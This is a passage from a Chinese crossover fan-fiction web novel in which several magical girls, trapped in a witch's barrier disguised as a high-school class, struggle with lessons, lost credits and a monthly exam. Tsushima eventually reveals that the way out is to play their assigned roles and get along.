老师严厉地说教：“还有你旁边那几个津岛、松代什么的，也都扣个三分。知道你们关系好，所以就都一起在课堂上捣乱是吧，下课后都来我办公室跟你们好好聊聊！” 禅院穗：“……” 松代也诡异地借此回忆起了自己的学生时代，心态上仿佛都一瞬间年轻了好些岁。 顾忌着面前这个情况比较奇怪，禅院穗没有轻举妄动，而是勉强点了点头，装作自己听进去了。 于是，老师便继续接着讲课了。 不过禅院穗心里总记挂着被扣掉的学分。 虽然她不知道这学分到底有什么用，被扣了会不会有什么惩罚，但是被扣了总归不是什么好事。 禅院穗悄悄瞥了一眼离自己最近的朔夜。 现在她们身上的衣服都被换成了校服，穿着校服的朔夜看起来多了一点贴近日常的感觉，似乎都没那么不好接近了。 对方已经低头开始翻起了放在桌面上的课本。 禅院穗见状，不好想办法去打扰对方，只能够收回视线也低头看了看自己桌子上的书。 是高三的数学课本。 要命…… 在禅院穗决定成为一名咒术师后，便以为自己未来都是与咒灵艰苦战斗的日常，实在没想到有一天能够体会到普通学生的高三生活。 谢邀，一点都不想体验。 自己才高专一年级，学高三的数学课程真的是认真的吗？ 奈何刚被扣了学分，由于不想很快梅开二度，禅院穗只能耐着性子继续听课。 只可惜太过提前地学习这些知识，真是太为难她了。 完全听不懂老师在说什么啊…… 禅院穗头疼地听着课，简直度日如年，煎熬的等待着下课时间到来。 其他几个魔法少女也几乎是同样煎熬。 松代无聊得很，便艰难地想要找回好几年前就被自己丢弃的知识。 可这种东西哪里是那么容易的，她看了好一会儿书，才勉强看完了前面第一章节的知识内容。 这时候，老师却又一次注意到了她的行为，生气地大喊道： “松代，你在干什么呢？是已经都学会了，所以不用听老师讲课了吗？！” 第105章 听到来自老师的呵斥，松代翻书的动作一顿。 她抬头看向讲台上，然后果断说道：“抱歉。” 虽然读高中已经是九年前的事了，但是因为特立独行或性格原因，松田阵平还是听熟悉被上级训斥这种事情的。 不过，松田阵平不管被训多少次，遇到事情大多还是会采取自己的行事方式。 一句道歉没能让老师解气。 老师继续训斥着：“再这样下去，你的成绩会退步多少？你自己好好想想，再扣你三分，要是还敢在课堂上不好好听讲，以后……” 直到下课的铃声响了，老师才暂且停下了对松代的单独训斥。 “真是的，这上课时间让你们给耽误的。刚才不好好听课的那些人，都给我来办公室一趟。” 老师说完，便往教室外走去。 几位魔法少女互相对视了几眼，见目前没人有什么比较好的想法，她们就准备先跟着走一步看一步。 然后十几秒后，几个少女站在老师面前接受训斥。 “你们就这样成天混在一起，不好好学习，都有想过以后要怎么办吗？现在玩好了是开心了，可是你们未来怎么办……” 老师的话匣子一打开就难以轻易再合上。 太宰治没经历过这种场景，还感觉有点新奇。 再加上对面这个老师给她的压力近乎于零，太宰治完全表现不出其他普通学生被训后，低着头蔫蔫的样子，反而还一副饶有兴趣的样子。 老师训着训着，一转视线就看见津岛这样子。 这老师立刻懵了。 “……津岛，你怎么回事。” 半天才反应过来的老师太过诧异，连生气都忘了：“平常跟你说话半天说不出一个字来，现在怎么不社恐了？” 艾尔菲忍不住出声道：“社恐？” 谁？津岛吗？她能和这个词扯上半点关系吗？ 津岛闻言眨了眨眼，说道：“嗯，我还是挺社恐的。” 老师皱着眉不知道说什么，只能又将话题转了回来。 “所以你们刚才有好好听我讲吗？真是的，我说的这些不都是为了你们好吗……” 菲茨杰拉德头疼地听着。 她忽然想起了自家女儿很久以前给自己抱怨过学校生活，直到如今她才能够真正理解女儿的不容易。 菲茨杰拉德都多少年没听过有人训斥自己了，还一说起来就没完没了了，往常只有自己这样训斥下属的份。 “……都已经高三了，再不好好学习，你们就都完了。总之记住我今天说的话，你们先回去吧。” 看着老师终于算是说够了，让她们回教室，几个人大多都默默松了口气…… 然后她们正要转身离开时，老师又似乎想起了什么，喊道：“松代，你再留下来一会儿。” 松田阵平顿了一下，停下了脚步。 其他人也诧异地投来目光。 老师催促道：“看什么看，你们赶紧回去准备下节课。” 而后，松田阵平就看着这群家伙一点良心也没有地离开了，完全没有想要留下来帮一下自己的意思。 走在最后的朔夜甚至还贴心地把办公室的门关上了。 松田阵平：“……” 好吧，她就知道。 自己和这些魔法少女一点都合不来，她们完全不是一般人。 会想出留着那些使魔不杀来做戏的办法，还对着警察喊条子……她怎么想都没办法和她们好好相处吧。 老师看着只剩下她一个人了，声音稍稍放缓道：“松代。” 松田阵平反而更加防备起来了，她可没有忘记自己正处于危险的魔女结界之中，这个老师很可能不是人类。 她谨慎地担心着意外情况突然发生。 不过，老师却说：“你怎么就跟那些人混在一起了呢。在老师心里，你其实应该是个很乖的学生的。但再这样下去，她们迟早带坏你不可。” 语气里充满了恨铁不成钢的意味。 很乖……？ 不是，这真的是在说她吗？ 松田阵平从小到大都不记得，有人对自己说过这样的话。这种词什么时候会被用在自己身上了？ 看着松代不应声、脸色不太对劲的样子，老师还以为她还在犟，忍不住道： “她们估计早都快放弃学业了。禅院穗那根本就不是学习的料子，实在是太笨了。朔夜和艾尔菲成天就知道玩乐，居然之前还被我发现她们逃学。津岛也没有主见，天天跟她们身后……” 松田阵平听得心情复杂。 总感觉自己是在听这老师在讲另一些人，对方说的话完全不符合她们任何人的性格。 “反正你和她们不一样。你要是还在意自己的未来，就应该和她们一刀两断，专注自己的学业。” 老师苦口婆心地劝道：“你听懂了吗？” 松代应声道：“我知道了。” 老师见了有点狐疑，问道：“真的知道了吗？你平常跟她们走那么近，我之前说你你还不乐意听，以后真的能够和她们划清界限吗？” 松代点了点头。 反正最近一段时间，她们都在网上吵多了，彼此之间氛围弄得要多僵有多僵…… 现在一时半会儿，她们的关系应该也没办法有什么改善。 老师奇怪地盯着她看了一会儿，然后说：“你想通了就再好不过了，先回去上课吧。” 松代倒没有立刻挪动脚步，而是低声道：“老师，我的学分……” 一节课就被扣了六分，松代当然还时刻记挂着这个东西。 老师想了想，说道：“你表现好了，我自然会给你加分的……这样吧，很快就到月考了，如果你的成绩能有进步，我就多给你加一些分。” 松代：“……” 月考？？？ 什么东西，她读高中都是九年前的事情了。怎么时隔九年多，自己还要为这种事情而发愁？ 第106章 看到松代回到教室之后，禅院穗犹豫了一下，问道：“……老师刚才最后和你说什么了？” 松代和禅院穗目前的关系一般般。 不过，对比起其他人……这两位魔法少女还是互相觉得对方都还算是正常人。 松田阵平想了想老师刚才跟自己说的话。 让她与这几个人划清界限，别被她们几个带坏…… 这种话似乎不怎么好说出口。 本来她们这几人最近的关系就比较紧张，要是松代把这些话都说出来，就等同于把自己直接推到她们的对立面，使自己立于危墙之下。 于是，松代便选择性地说了一部分：“让我好好学习，不要成绩退步。下次月考好好加油就给我把学分加回来。” “就只是这样？” 不远处听着的艾尔菲问了一句。 松代不客气地反问：“你觉得还会有别的什么呢？” 艾尔菲也没有退缩，直接说道：“就只是说这些的话，没必要让其他人先离开吧……” “可能是因为老师不想让我们知道，她对松代其实非常偏爱吧。” 津岛随口插了一句话。 艾尔菲皱了下眉：“这样吗？” “当然啦，我们几个中就属松代的成绩最好，老师对她态度更好些也正常。不然怎么会想着留下她特意叮嘱要好好准备下次月考呢？” 津岛瞥了一眼朔夜，道：“朔夜也是这么觉得的，对吧？” 朔夜平静地点了一下头。 太宰治觉得还真是挺有意思的。 刚才离开办公室的时候，她走在稍后面，接着注意到朔夜走在最后、特意放慢了脚步…… 在按照朔夜回来的时间，太宰治便知道朔夜应该是在门口听了几句话，确定了里面大概是什么情况后才离开的。 太宰治现在还是看不太懂朔夜的行为逻辑…… 不过她想，抛开幻境里那种不确定的未来场景，再抛开外表苍白的言语和态度…… 只从真实有效的行为来看，朔夜应该不会是她们任何人的敌人。 至少暂时不会。 禅院穗奇怪地问津岛：“你是怎么知道松代的成绩最好？” “问同学啊，今井同学人很好的。” 津岛侧头示意了一下。 旁边侧马尾的女生腼腆地笑了笑。 艾尔菲顺便问道：“那我们几个之中谁的成绩最差？” 今井脸上的表情变得有点尴尬，似乎不是很好回答这个问题。 而津岛毫不顾忌地道：“当然就是你自己啦，艾尔菲。” 艾尔菲脸色瞬间黑了。 今井不好意思地微微点了一下头，终于忍不住不解地问：“你们不清楚自己的成绩吗？不应该啊。说起来……你们今天一个个都很奇怪，到底是怎么了？” “不瞒你说，我们几个目前都失忆了。” 津岛一本正经地道。 “失忆？”旁边一个棕发男生听到这话，不禁提高了声音。 津岛点了点头。 “同时失忆开什么玩笑呢？” 棕发男生疑惑地看了一圈她们几个，道：“你们几个不会是又想出了什么新主意，打算捉弄大家吧？” 津岛笑起来：“被你发现了。” 听起来自己好像猜对了，不过棕发男生愣了一下，说道：“津岛你的性格和平时相差很大啊。还有艾尔菲、松代你们……总感觉也很不对劲。” 津岛说道：“这是我们之间打的一个赌。” 今井一脸好奇地问：“什么赌？” “秘密。” 津岛伸出食指放在嘴边，说道：“反正我们最近都会表现得和往常不太一样哦，谁坚持不住就输了，我可不会输的。” 旁边听着的普通同学似乎都被说服了，懵懵地点了点头。 津岛这家伙还真是…… 一边的几位魔法少女也都有些无言。 接着，下一节课又开始上了，她们没空再多交流几句，便都回到了自己的座位上坐好。 幸好这是最后一节课。 她们艰难地熬过了这节课，很幸运地没有人再扣什么分 。 然后就算是放学了，其他同学都纷纷收拾东西准备离开了。 不过几位魔法少女还留在座位上，她们当然也没有地方可以去，准备等其他同学都走了再好好聊一聊目前的情况。 在等待的过程中，松代、朔夜、禅院穗那三人还在低头忙着学习。 有个同学背着书包离开前，忍不住问了一句：“你们还在学啊，这么努力，和平时一点都不一样啊。” 松代随口敷衍道：“毕竟今天刚被扣了六分，我得赶紧补回来。” “这样啊，青木老师确实挺凶的，不过……” 另一个同学拍了拍那个同学的肩膀，打断了她的话：“这也是她们赌约中的一部分吧，为了表现的和往常的自己不一样，还真是费了心了。” “额，这是什么赌约？” “谁知道呢，别管了，反正她们应该也玩不了多久就恢复原样了。” 说着这话的同学不在意地直接离开了。 其他的同学也大多只是看了她们几眼，没多说什么，自顾自地离开教室回家了。 这对魔法少女们而言也挺好的，不用被打扰。 津岛率先挪动椅子，往其他人的方向靠近了一些，说道：“别学了别学了，我们来赶紧聊一聊怎么解决这次的魔女吧。” 艾尔菲沉声道：“直接把这个学校全毁了吧，一了百了，魔女肯定就会主动出来见我们了。” “别这么暴力嘛，好好想办法啊。”津岛幽幽地道。 “这难道不是最好的办法吗？” 艾尔菲说道：“再这么耗下去，只可能是我们变成劣势方，还不如主动出击获得主动权。” 第107章 而津岛再一次果断拒绝了艾尔菲的提议。 “这肯定不是最好的方法啊，你怎么会想出这种办法呢？” 津岛打趣道：“难道艾尔菲同学是因为成绩实在太差了，所以才想要报复性地毁掉学校，然后就不用学习了？这是小孩子才会有的幼稚念头吧？” 艾尔菲深吸了一口气，与其互相伤害道： “……你成绩也没好到哪里去吧？怎么，你是恋恋不舍地想要留下来跟魔女继续玩过家家吗？” 松代皱眉道：“你们别再吵了。” 艾尔菲说道：“这话你应该对津岛说，总是她先挑事的吧？” “开个玩笑而已。” 津岛眨眨眼，笑着说：“可你的办法确实不太好啊，你想怎么毁掉这里？大肆破坏，还是直接让松代炸掉这里？你知道那些黑手党成员是否还活着被困在这个结界的某处吗？” 这确实是个问题。 禅院穗出声道：“之前有一次我和津岛在解决一只魔女的时候，发现魔女结界里的幸存者被困在了镜子里。” “是呀。”津岛点了点头，说：“要是当初彻底毁掉那个结界，那些人就都会死掉。所以毁掉这个学校，这些黑手党成员难保不会跟着一起死。” 禅院穗点了点头。 不过说到这里，禅院穗下意识看了一眼津岛，想到了之前在魔女结界里对方的表现。 在那种危险的紧急情况下，要不是对方留了下来，禅院穗也没办法一个人解决掉那次的魔女。 所以，回想起来……总觉得津岛不应该会说出，放任使魔攻击人类成长为魔女、再跑过去作秀这种话才对。 总不会又是津岛的玩笑话吧？ ……这种离谱的想法放在津岛身上，禅院穗竟然觉得有一点合理。 但是这种玩笑也能开吗？？！ 艾尔菲想了想，也还是放弃了直接毁掉学校这个最轻松的方法。 虽然那些黑手党成员的性命她并不在意，但是好歹才和港口黑手党做了交易，还是得尽量想办法把他们活着带离结界的。 艾尔菲：“那我们现在该怎么做？” 松代想着刚才老师对她说的话，犹豫道：“好好学习，增加学分？” 从她们进入这个结界开始到现在，老师就一直在强调要好好学习了，还有学分、月考什么听着就和成绩有关的事情。 艾尔菲完全不想接受这个可能性：“……真的要学习吗？” “可能吧。” 禅院穗也觉得这有点道理，猜测道：“说不定将学分拿满，或是在月考中取得好成绩就可以离开结界？” 艾尔菲脸色有点糟糕。 这两件事对她而言，都是几乎不可能做到的事情。 菲茨杰拉德早年非常贫困，关于上学的记忆都是二十年前的事了。 现如今让她突然从零开始学高三的知识，再几天内速成…… 要想完成这种事情，还是做梦更简单不少。 禅院穗念头一转，试探性地问道：“你们的真实成绩大概怎么样？可以考到好成绩吗？” 松田阵平当年成绩还是挺好的。 重点是……那都是九年前的事情了。 学如逆水行舟，正常人上个大学就把高中知识忘了大半了，更别提大学毕业之后又工作了五年…… 松田阵平还算是记性很不错的那类人，可是事到如今，只能屈辱地道： “我……成绩比较差。” 津岛则笑嘻嘻地安慰道：“没事的，我也一样。我都没怎么上过学。” 听起来好像很惨的样子…… 其他人几乎都愣了一下。 伏黑惠虽然小时候也有过一段比较惨的日子，不过后来被不差钱的五条悟收养后，一切就过得很不错了。 伏黑惠倒也没接触过，惨到连学也没上过的那种人。 “……没上过学也没什么。”她憋了很久才想出说辞：“世界上的路还有很多条，不上学也可以有别的出路。” 松代也点了点头。 艾尔菲无所谓道：“我也没怎么上过学，照样过得还行。” 禅院穗哑口无言。 怎么回事？ 她们魔法少女没一个学历高的吗？难道魔法少女这职业和学习犯冲？ 要是大家学习都不好，这学分怎么加？月考怎么过？怎么出这个魔女结界？？？ 对了，好像还有一个人…… 禅院穗挪过视线，看向安静地坐在一旁的朔夜。 朔夜的话太少了，相处起来也总觉得有点别扭，所以禅院穗比较容易忽略她…… 想到这里，禅院穗莫名有点心虚，开口道：“朔夜你……” 朔夜干脆利落地说：“我的成绩也不行。” 禅院穗卡了一下壳，便彻底闭上了嘴。 津岛依旧带着笑容说道：“那大家从现在开始好好学习，不就可以了？” 她说的轻描淡写，仿佛这只是一件再简单不过的事情而已。 “？？！” 其他几个魔法少女几乎都面带不解地看向津岛，用表情询问她这说的是什么鬼话？ 谁能有过目不忘的本领，能在几天内学会这么多知识？ 津岛见状，说道：“做不到的话，你们可以自己尝试琢磨一下别的方法哟，都随你们的便。” “只不过记得，别做的太过火，要是不小心害死了我们的合作伙伴就不好了。” 松代迟疑了一下，问道：“所以，这次到底为什么要让我们一起来对付这个魔女？” 禅院穗也紧跟着道：“是啊，丘比和朔夜都一定要让我们这次一起来，也不说为什么……现在能说了吗？” 朔夜沉默着看向津岛。 来之前津岛就说过，还是别说出主要是为了修复她们的关系。 因为这种事说出来之后，很多行为都会显得刻意而不自然……反而不利于她们缓和关系。 收到朔夜的目光，津岛无奈地替她开口：“如果让你们谁一个人来，能解决这次的魔女吗？” 其他人沉默：“……” 这次魔女的气息确实比之前遇到的感觉要危险很多。 不过……一般这种情况，朔夜不都是自己单独去解决魔女吗？ “所以朔夜前辈才让我们一起来嘛。” “而且一起来才能彰显出我们对合作伙伴的重视。” 津岛笑了笑，继续说：“不然，森首领怎么会愿意下血本，答应我们一人一个请求呢？” 其他人想起刚才在黑手党与森鸥外交流的场景。 松代问道：“这件事是你提议的吧？津岛。” “很敏锐嘛。”津岛倒也直接承认了：“确实是我提议的。” 艾尔菲不禁问道：“……你跟港口黑手党的首领有仇吧？” 津岛却完全理直气壮地说：“哪有啊，我们主动来这里帮合作伙伴的忙，他当然应该好好感谢我们啦。” 第108章 话虽如此，不过…… 那位森首领原本还可以有别的选择。 ——比如放弃掉那些下属。 生命是很可贵的。但有些时候，它们又因为数量太多而显得相当廉价。 黑手党首领自然不会太过在意个体的生命，价值才是他更在意的。 菲茨杰拉德知道森首领一直崇尚着最优解。 如果她们几个没有毫不掩饰地从正门闯进去，如果津岛没有那么大声地让其他人听到她们的来意，如果她们没有当众和森鸥外交谈合作事宜…… 森鸥外或许可以采用别的办法。 毕竟也没有人知道，那些被困在结界里的黑手党成员是不是早就死去了。 其他少女大概也隐约想到了这点。 这么说起来……松代想起了那个赭发蓝眼的黑手党干部，他看起来倒像是真心实意地担心着被困在结界里的人。 “我先在这个结界里探察一圈吧。” 松代站起身来说道。 禅院穗跟着说：“我也去。” 她们两个先一前一后出去了之后，没过多久，艾尔菲没和其他人打招呼便一声不吭地也走出了这个教室。 “她们关系还是不行啊。”津岛故作可惜地叹了口气。 “明明一起出去会更安全些的，这个地方又比较危险……前辈，你要现在出去看着她们吗？” 津岛试探地问道。 朔夜却没有第一时间回答，她正侧头看向窗外，青色的眼瞳一眨不眨地映着外面不断变化的天色。 津岛也随着看向窗外。 她立刻就明白朔夜察觉了什么——外面的天色变化得太快了。 没一会儿功夫，远处天际的夕阳就变换了好几个色调，天色在以肉眼可见的速度变黑，很快另一边的月亮就升了起来。 一切就好像按下了快进键般。 朔夜道：“她们应该很快就会自己回来的。” 津岛点了点头。 学生们大多都已经放学回家了，学校夜里应该会关电闸。在视野不清晰的情况下，随便独自在外面探察会更加危险。 果然，没过多久，其他魔法少女便逐渐回来了。 好在她们的关系如今也没有恶劣到不顾眼前局势的地步。 几人便开始交流情报。 “目前除了我们之外，学校里似乎没有其他人了。” “我尝试往学校外面走了几步，但是一个晃神，就又莫名其妙回到学校里了。” “没有察觉到什么不对劲的地方，也没什么奇怪的动静。” “我在办公室里发现了这个。” 艾尔菲说着，拿出了一页纸，放在面前的桌子上。 其他人都将目光投过去。 那是一张表格，记录了班上每个人的名字和学分。 可是，分数的增减能明显看出都是有人手写记录的，总感觉比较随意、不太正规的样子。 “这是青木老师、也就是我们班主任的字迹呢。”津岛提醒道。 艾尔菲有点看不下去上面自己的分数，问道：“这是用中性笔写的吧，我也有中性笔，能自己手动改分数吗？” 禅院穗：“……应该不行吧。” 不过，她看着也很想改分数。 伏黑惠记得自己以前似乎从没拿过这么差的分。 如今她们几个人的分数几乎都在班上垫底。其中朔夜的分数最低，仅有4分。但其他人也没比朔夜高多少。 只有松代59分，看起来比较正常一点。 但满分应该是100分，其他普通同学的分数几乎都在60以上。 “扣到零分之后，会发生什么？” 艾尔菲觉得她如果能坚持一天只扣个三分，应该也没几天就会分数归零了。 至于不扣分……那实在是太难了。 教室里的同学太少了，老师抽人回答问题是很容易叫到她的。 再说几天后就是月考……考的好会加分，那么考的差必然也就会扣分的。 禅院穗猜测道：“说不定就会像那些黑手党一样，被一直困在这个结界里，或是直接被杀掉？” 松代：“所以，还是要好好学习？” 艾尔菲面无表情地道：“那还是直接毁掉这个学校吧，我是怎么都不可能考到好成绩的。” “没那么糟糕。” 津岛依旧语气轻松：“从结界里活着回来的那些黑手党也没几个学习好的，就比如刚才带我们过来的那位小矮子干部。” 艾尔菲不知何时拿起了笔，看起来很想手动给自己加分。 “那这么说，他们是不是也可能是用这种手段给自己加分，才能够回来的？” 松代拦住了她：“还是先别加，再等等看吧。” 松田阵平直觉事情应该没有这么简单。 禅院穗也道：“要是自己偷偷加分被老师发现的话，可能分数立刻就会被扣光。” 艾尔菲微微失落地放下了手中的笔。 “天已经开始亮了。”朔夜出声提醒。 其他人也立即注意到她们没剩下多少时间了。 这天色变化得也太快了，看来估计再过一小会儿，就要到了上学的时间了。 艾尔菲只能无奈地把自己从办公室顺来的学分表还回了原位，免得被来上班的老师给发现。 目前还没有想到什么行之有效的办法，她们几个也就只能坐到自己的座位上，先尝试一下学习。 于是，不久后…… 早早来上学的同学们刚进教室，十分惊异地发现平日里最混、成绩最差的那几个学生居然都在看书学习。？？！ 每个看到这一幕的同学脸上的表情都无比恍惚。 今天这是怎么了？ 还记得昨天津岛的忽悠的棕发男生愕然开口：“不是吧，你们到底赌什么了？至于做到这种地步吗？？” 而几位魔法少女实际上也挺恍惚的。 至于做到这种地步吗……这真是个好问题。 第109章 几位魔法少女的学习历程虽然普遍都比较艰难。 不过，不同的人之间也是有着不小的差异。 最明显的就是，曾经学过一遍、就算早便忘了也能够快速重新学会的松田阵平……与根本就毫无学习基础、已经三十多岁的菲茨杰拉德之间的差距。 前者通过不眠不休地快速学习，学会了近期的不少教学内容。 幸运的是，她们从同学口中得知，月考的内容一般只是最近一段时间的学习内容。 所以松代是有可能取得一个勉强还算过得去的成绩的。 而从零开始学的艾尔菲却是毫无可能的。 “来，看到书上的第三题，艾尔菲你来回答一下这道题选什么。” 艾尔菲倒霉地被老师喊到了名字。 她低头看着关于国语现代文知识的选择题…… 真离谱，她一个美国人到底是为什么要学日本的国语现代文啊，她怎么可能在短时间内突然学会这些东西啊。 没办法了，只能随便蒙一个了。 菲茨杰拉德好像记得，女儿之前跟自己闲聊时说过，猜答案时一般三长一短选…… “选D。” 一个很轻的声音在自己身后响起。 艾尔菲没时间想那么多，只得跟着说道：“D。” 老师没察觉到异常，道：“对，就是选D，这道题有些人容易选到A，不过A选项呢其实是误导……” 艾尔菲逃过一劫。 她没心情听老师讲题，反正听会了这一题对她也没什么用。 她想的是刚才给自己报答案的人，虽然那声很轻很短不好分辨，但坐在自己身后的显然只可能是松代。 ……这就尴尬了。 她和松代的关系其实不怎么样。 结果自己遇到困难的时候，对方却还是帮忙了，也让自己欠下了对方一个小的人情。 这种事情换谁来应该都会觉得比较尴尬吧。 而从刚才起就注意着这边的津岛收回了目光，又侧头对朔夜使了几下眼色，示意朔夜去看艾尔菲和松代。 虽然还在上课，津岛不方便出声。 不过朔夜觉得自己还是从对方带着笑意的眼神里，看出了津岛想要表达的意思。 ……好吧，津岛的主意还是有用的。 她们几个原先都是不同身份、不同立场，没办法互相理解、好好交谈。 如今处在同一个情况下，面对同样的敌人……只要彼此之间表露一些善意，或许是能够逐渐互相理解的。 在后来的完成作业、课堂的小练习等方面，几位魔法少女也确实有过互相帮助。 津岛不再像之前那样总是找事。 在她想要认真帮忙的时候，对处理人与人之间的关系倒还是挺得心应手的，不知不觉间就使她们相处时的氛围变好了许多。 就这样，时间很快过去了三天。 虽然说的是三天，但其实每次一放学，时间就会加速许多倍，所以实际上也就过了二三十个小时。 在她们的艰难维系下，没有人分数归零，最差也就是离零分很接近。 但是月考也来了。 这种考试就很难应付了…… 所有科目都考完后，她们之中几乎就没有脸色很好看的，已经都能想到自己的分数很快就会被扣上许多了。 不过除了一直看不出情绪的朔夜外，津岛倒也还是表现得还蛮轻松。 禅院穗忍不住问道：“你考得怎么样？” 津岛无所谓地说：“这种事情不重要吧，反正我们再怎么样也不可能考得很好。” 禅院穗疑惑道：“不重要吗？但是……” “等等，这些待会儿再聊吧，今天该我值日了。”津岛侧目看向不远处正提着水桶等她的一个普通同学。 “好吧。” 津岛站起身，跟着那个同学出了教室。 她们两个今天负责拖地，所以需要先去接水、清洗一下拖把。 一起走过去的路程中，那个女生如其他普通同学般忍不住问道：“津岛，你这次考得怎么样啊？” “一般般吧。” “我看你和艾尔菲、松代那几个每天都好像最晚才离开学校，然后很早就来到学校……” 津岛无奈又觉得有点好笑。 对方肯定是觉得她们在偷偷卷学习，然而实际上她们根本无处可去。 每次放学时间就快进，导致她们所有人被迫睁眼闭眼都是随时要上课。 “除了学习之外，我感觉你们最近的性格也变了好多，和往常完全不一样。感觉这样下去……” 那个女生说话声音越来越小直至旁人根本听不到，语气里满是羡慕。 津岛漫不经心地随口说：“你的学习和性格也都挺好的呢，鹤田。” “不是的，我性格并不受欢迎。” 名叫鹤田的女生摇了摇头，失落地道：“都没几个人会和我做朋友。” “津岛你之前也是很内向的，比我话还要少，其他人都说你没什么主见，只知道跟着朔夜她们玩乐。可是现在不一样了，你突然就变得比较活泼了……” 津岛不在意地听着她诉说。 直到鹤田顿住了脚步，站在原地。 津岛便也被迫停了下来等她，抬眼看她问道：“怎么了？” 鹤田怔怔地看向她，手里的水桶都哐当一声落在了地上。幸好里面并没有装水，不然她们的衣服估计会湿掉很多部分。 紧接着，鹤田上前一步拉住了津岛的手，语气很奇怪地道：“你真的是之前的津岛吗？” 对方像是中了邪一般，眼睛黑沉沉的，一脸恍惚地盯着津岛。 “真的没有换人吗？” “没有被什么奇怪的东西附身吗？” 津岛倒也没有被吓到，她早就猜到鹤田可能会突然变一个模样。 毕竟这里是魔女结界，里面根本不可能有正常的老师和同学。那些人要么是幻觉产物，要么就是使魔变的。 不过，看着对方的眼睛…… 津岛心底忽然涌现出莫名的汹涌情绪，好像是类似于愧疚、悲伤的情绪……为自己没有扮演好津岛这个角色？ 总之，这奇怪的精神影响使她的理智短暂地消失了。 “你真的是津岛吗？” 鹤田幽幽地一遍遍问道。 “真的是原本的津岛吗？……” 津岛有点恍惚，差点说出了一句抱歉。 不过就在她刚开口的时候，旁边有另一个人出现了，先行发出了声音。 “你们在聊什么？” 就是这一句突如其来的声音，让津岛缓过神来，立刻摆脱了原本的debuff。 津岛先侧头躲开鹤田的视线，看向刚才发声的方向，注意到那个人就是此刻正一脸警惕的艾尔菲。 鹤田还在喃喃道：“你是津岛吗……” 津岛立刻出声道：“我当然是津岛。” 鹤田的话停下了，语速很慢地问：“真的吗？” 津岛还是小心地避开去看她的眼睛，将头微微低下，故意将语气变得有些不安，略带颤声地问： “真的，我是津岛。鹤田你怎么会突然这么问？” 在旁边看着的艾尔菲都有些无言。 面前的黑发少女一瞬间就像变了个人似的。 看起来很是紧张不安，垂着头视线几乎落在地板上，一副内向软弱的样子，像是不管什么人都能够随便欺负得了她。 这真的是津岛吗？！ 而鹤田显然跟艾尔菲的看法完全不一样。 见到津岛这副样子，鹤田明显缓了口气，神情慢慢恢复成正常女生的样子，说道：“你果然还是之前的津岛。” 津岛弱弱地点了下头。 鹤田不解地问：“你最近这些天都怎么了？奇奇怪怪的，简直像是被什么脏东西附身了一般。” 津岛：“……” 感觉自己被骂了的津岛不是很开心。 第110章 虽然不是很开心，但津岛还是勉强安抚鹤田道：“都是因为朔夜她们，我不能输掉和她们的赌约，否则……” 津岛带着引导性地小声说到了这里，然后停下了。 这听起来像是输掉赌约之后会有什么可怕的惩罚一般。 但是，鹤田却没有顺着这个思路想下去。 她虽然早就听过赌约的事情，却还是很不明白： “可你不是和她们关系很好吗？你不是一直很在意她们吗？再怎么说，就算赌约输了，她们也不会对你做什么过分的事情吧？” 津岛：“……” 她们的关系就真的这么好吗？ 好吧，她只能转变个说法了。 津岛木然地说：“我们一不小心赌大了，谁最先输掉比赛，其他人就会永远与其绝交。” 这听起来真幼稚啊。 艾尔菲和津岛都同时在心里这么想，心情都有点复杂。 但是鹤田却相信了。 “怪不得你们这些天都像变了个人般，把班里其他同学都吓得够呛。” 鹤田忧虑地道：“怎么能打这种赌呢？这还是算了吧。” 津岛叹气道：“我也觉得这种赌很不好。” 鹤田闻言立即说：“别担心，我会尽量帮你说服她们取消赌约的。” 津岛只能这么回复：“没关系，不用麻烦你，我等会儿就跟她们说清楚。” 好不容易糊弄了鹤田，并拒绝了其好意之后…… 津岛示意艾尔菲先离开，她和鹤田还需要一起做之后的拖地工作。 等到值日结束后，其他同学都离开了，教室里只剩下她们几个魔法少女。 艾尔菲便立即问津岛：“鹤田是怎么回事？当时我注意到她的状况明显不对劲。” “谢谢你了，要不是你路过出声，估计事情就要变得麻烦了。” 津岛顿了顿，然后直接说：“我差不多确定了离开结界的办法。” “？！” 禅院穗：“什么办法？” “和我们的成绩根本无关。”津岛无奈地笑着说：“只需要我们扮演好自己原先的形象就行。” 奇怪的说法。 艰难地回顾复习了很长一段时间的松代沉默了。 难熬地提前学习了高三知识的禅院穗也沉默了。 艾尔菲不由得问道：“那老师的学分表？” “那只是青木老师为了督促全班学习而自制的，那张纸不是一看就不正规嘛。” “那就是说，即使扣到零分也没有惩罚？” “应该是有的，青木老师大概率会罚抄、罚站或是罚值日，或许还会叫家长。” “……” 空气里突然只剩下了沉默。 禅院穗声音有点哑地道：“所以，我们这几天是白忙活了？” “也不能这么说吧。” 津岛宽慰道：“至少你们的学识增加了。” 艾尔菲：“……” 这种事情并不需要，谢谢。 松代还是问道：“你是怎么确定的？” 津岛讲了之前能从结界里出来的人的特征——也就是那些人之间的关系大概率会变好。 如果魔法少女们没进过这个结界，可能怎么也想不明白这样奇怪的共同特征到底意味着什么。 现在她们倒是很快想通了。 所有进入结界的人都会扮演一个身份，虽然名字和样貌还是自己原本的，但是性格和过往经历完全不一样。 只有好好扮演、做出符合角色的事情，才能够离开这里。 也就是说…… 所有人都要像这些角色的原设定一样，表现出彼此之间很好的关系，然后还要与原本角色的性格尽量靠拢。 松田阵平忽然想起，刚来到这里时，青木老师找她说的那些话。 要是自己听对方的话，选择远离其他人去讨好对方，一心只想拿到足够的学分出去…… 反而就可能再也没办法出去了。 “因为不符合人设，所以成绩很好的人没办法出去，一直想不通自己要怎么做的人也没办法出去。” 津岛悠悠地说：“但是本来成绩就不好、好运地拿到和自己本身性格有相似之处的人，或是从头到尾都警惕小心地不违背人设……就算不明白该怎么做也可能会莫名其妙地离开结界。” “而离开结界的人又会模糊掉在这里的记忆。于是黑手党首领应该怎么都想不明白，有些人能出去、有些人却不能出去的规律到底是什么吧。” “这还真是挺有意思的呢。” 听着津岛说完，其他人沉默着消化了一下。 津岛好像真的和那个森首领有点恩怨啊。 艾尔菲突然道：“关于出去的那些人关系大概率会变好，这个情报你之前为什么不告诉我们？” 津岛可疑地慢一拍开口说：“如果我说我忘了，你们会相信吗？” “你觉得呢？” 松代没好气地反问道。 津岛无奈承认：“好吧，隐瞒情报只是为了最开始来这里的目的——使你们所有人的关系往好的方面发展。” “……？” 禅院穗：“认真的吗？” 津岛摆了摆手：“难道不是还算挺有效的嘛，你们之间的氛围最近缓和了许多吧。” 松代突然有些怀疑，津岛不光是隐瞒了情报，而且早就猜出了出去的办法。 不早早告诉她们，就是为了拖时间、再多给她们留一些缓和关系的机会吧？ 